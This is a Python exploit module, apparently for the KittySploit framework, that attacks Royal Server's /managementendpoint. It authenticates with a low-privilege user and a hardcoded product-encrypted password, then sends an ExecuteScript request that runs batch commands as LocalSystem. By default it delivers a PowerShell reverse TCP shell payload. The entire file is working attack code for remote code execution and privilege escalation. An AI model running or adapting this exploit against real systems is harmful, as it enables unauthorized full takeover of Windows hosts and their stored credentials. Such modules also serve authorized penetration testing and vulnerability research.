Royal Server ExecuteScript LocalSystem RCE

"""Royal Server authenticated ExecuteScript → LocalSystem batch RCE."""
from __future__ import annotations
import base64
import json
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
    __info__ = {'name': 'Royal Server ExecuteScript LocalSystem RCE', 'description': 'POST /managementendpoint with Basic auth (user + product-encrypted password) runs batch ScriptContent as LocalSystem on the Royal Server host.', 'author': ['KittySploit Team'], 'platform': Platform.WINDOWS, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/windows/powershell_reverse_tcp', 'platform': Platform.WINDOWS, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['royalapps', 'royal-server', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'privilege_escalation', 'remote_code_execution'], 'expected_requests': 1, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/royalserver_localsystem_privesc_detect']}}}
    DEFAULT_ENCPASS = 'm2sRN/kBUwSkSoipRotFoOx6QTix+a04X4PfqeZ5BhsadMkeAKYChkpK4UNud5/yhIRvrhrj4yRd5XSkSsTdBmNlABYjH/u2cALLPrM3BBE='
    port = OptPort(54899, 'Royal Server management HTTPS port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    username = OptString('lowpriv', 'Royal Server user', required=True)
    encrypted_password = OptString(DEFAULT_ENCPASS, 'IRoyalSecurityInterface-encrypted password (not plaintext)', required=True)
    management_path = OptString('/managementendpoint', 'Management endpoint path', required=False)

    def _build_body(self, script: str) -> str:
        return json.dumps({'ManagementModuleID': 'RoyalServer.ManagementEndpoint.Module.Script', 'RequestCommand': 'ExecuteScript', 'RequestArguments': {'ScriptContent': script, 'ScriptInterpretor': 'batch'}, 'DestinationHostnames': '', 'DestinationUsername': '', 'DestinationPassword': '', 'EndpointAction': 'managementendpoint', 'EndpointVerb': 'post', 'ContractVersion': 1}, ensure_ascii=False)

    def execute(self, shell: str) -> str:
        user = str(self.username or '')
        enc = str(self.encrypted_password or '')
        basic = base64.b64encode(f'{user}:{enc}'.encode('utf-8')).decode('ascii')
        path = str(self.management_path or '/managementendpoint')
        if not path.startswith('/'):
            path = '/' + path
        resp = self.http_request('POST', path, data=self._build_body(shell).encode('utf-8'), headers={'Authorization': 'Basic ' + basic, 'Content-Type': 'application/json'})
        if not resp:
            return 'managementendpoint request failed'
        return f"HTTP {resp.status_code}; body: {(resp.text or '')[:400]!r}"

    def check(self):
        path = str(self.management_path or '/managementendpoint')
        if not path.startswith('/'):
            path = '/' + path
        resp = self.http_request('GET', path)
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'Management endpoint reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'Management endpoint not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        if not str(self.encrypted_password or '').strip():
            print_error('Set encrypted_password (Royal product encryption)')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('ExecuteScript batch as LocalSystem')
        print_info(self.execute(shell))
        self.vulnerable()
        return True